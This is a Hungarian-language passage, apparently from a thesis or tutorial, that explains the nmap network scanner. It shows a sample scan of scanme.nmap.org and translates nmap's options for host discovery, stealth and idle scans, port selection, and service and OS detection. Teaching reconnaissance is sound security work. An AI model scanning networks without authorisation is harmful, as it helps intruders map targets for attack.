19 Nmap scan report for scanme.nmap.org ( ) Host is up (0.19s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9929/tcp open nping-echo Nmap done: 1 IP address (1 host up) scanned in seconds Az nmap futásának eredménye egy lista a felderített célpontokról és az azokhoz tartozó információkról, a paraméterezéstől függően. Nekünk lényeges információ a port táblázatban található. Ez a táblázat portszámokat, azok állapotait, protokollokat és szolgáltatások neveit tartalmazza. A fenti példában azt látjuk, hogy a scanme.nmap.org célponton a 22, 80 és 9929-es portok vannak nyitva. A 22-esen egy ssh szerver figyel, a 80-ason egy http és a 9929-es porton egy nping-echo szolgáltatás fut. Paraméterek Az elérhető paramétereket és azok rövid leírását az nmap program paraméter nélküli meghívásával érhetjük el. 15 Célpontok (Target specification) Célpontjaink lehetnek: Host nevek pl.: scanme.nmap.org IP címek pl.: Hálózatok pl.: microsoft.com/24 A következő kapcsolókat alkalmazhatjuk: -il <fájl>: Célpontok listáját tartalmazó fájlt adhatunk így meg -ir <hosztok száma>: Véletlenszerűen választ <hosztok száma> számú célpontot a megadottak közül --exclude <host1[,host2][,host3] >: Kihagyja a megadott célpontokat a vizsgálatból --excludefile <fájl>: Kihagyja a megadott fájlban található célpontokat a vizsgálatból 15 Forrás: 19

20 Cél felderítése (Host discovery) -sl: list scan Listázza a célpontokat -sn: ping scan Kikapcsolja a port scant. port scanről írni, a fentebb lévő fejezetben -Pn: Minden célpontot elérhetőnek tekint -PS/PA/PU/PY[port lista]: TCP SYN/ACK, UDP vagy SCTP felderítést végez az adott portokon -PE/PP/PM: ICMP echo, időbélyeg és netmask kérés felderítő próbák -PO[protokoll lista]: IP Protocol Ping --dns-servers <serv1[,serv2], >: Saját DNS szerverek megadása --system-dns: Az operációs rendszer alapértelmezett DNS feloldását használja --traceroute: Hálózaton áthaladó csomagok útvonalának meghatározása Felderítési technikák (Scan techniques) -ss/st/sa/sw/sm: TCP SYN/Connect()/ACK/Window/Maimon scan -su: UDP scan -sn/sf/sx: TCP Null, FIN, és Xmas scan -si <zombi host[:port]>: Idle scan -sy/sz: SCTP INIT/COOKIE-ECHO scan -so: IP protocol scan -b <FTP relay host>: FTP bounce scan Port specifikáció és felderítési sorrend (Port specification and scan order) -p <port intervallumok>: Only scan specified ports pl.: -p22; -p ; -p U:53,111,137,T:21-25,80,139,8080,S:9 -F: Gyors mód - Kevesebb portot szkennel, mint alapesetben -r: Sorban ellenőrzi a portokat, nem véletlenszerűen --top-ports <szám>: A <szám> leggyakoribb portot szkenneli --port-ratio <arány>: Az <arány>-nál gyakoribb portokat szkenneli Szolgáltatás/verzió felderítés (Service/version detection) -sv: A nyitott portokon felderíti a szolgáltatásokat és azok verzióját --version-intensity <szint>: 0-9 közötti port felderítési szintet lehet megadni (0: egyszerű, 9: minden próbálkozás) --version-light: 2. szintnek felel meg, leggyakrabban működő módszerekkel próbálkozik --version-all: 9. szintnek felel meg, minden módszert kipróbál Operációs rendszer felderítés (OS detection) 1. -O: Operációs rendszer felderítés bekapcsolása 20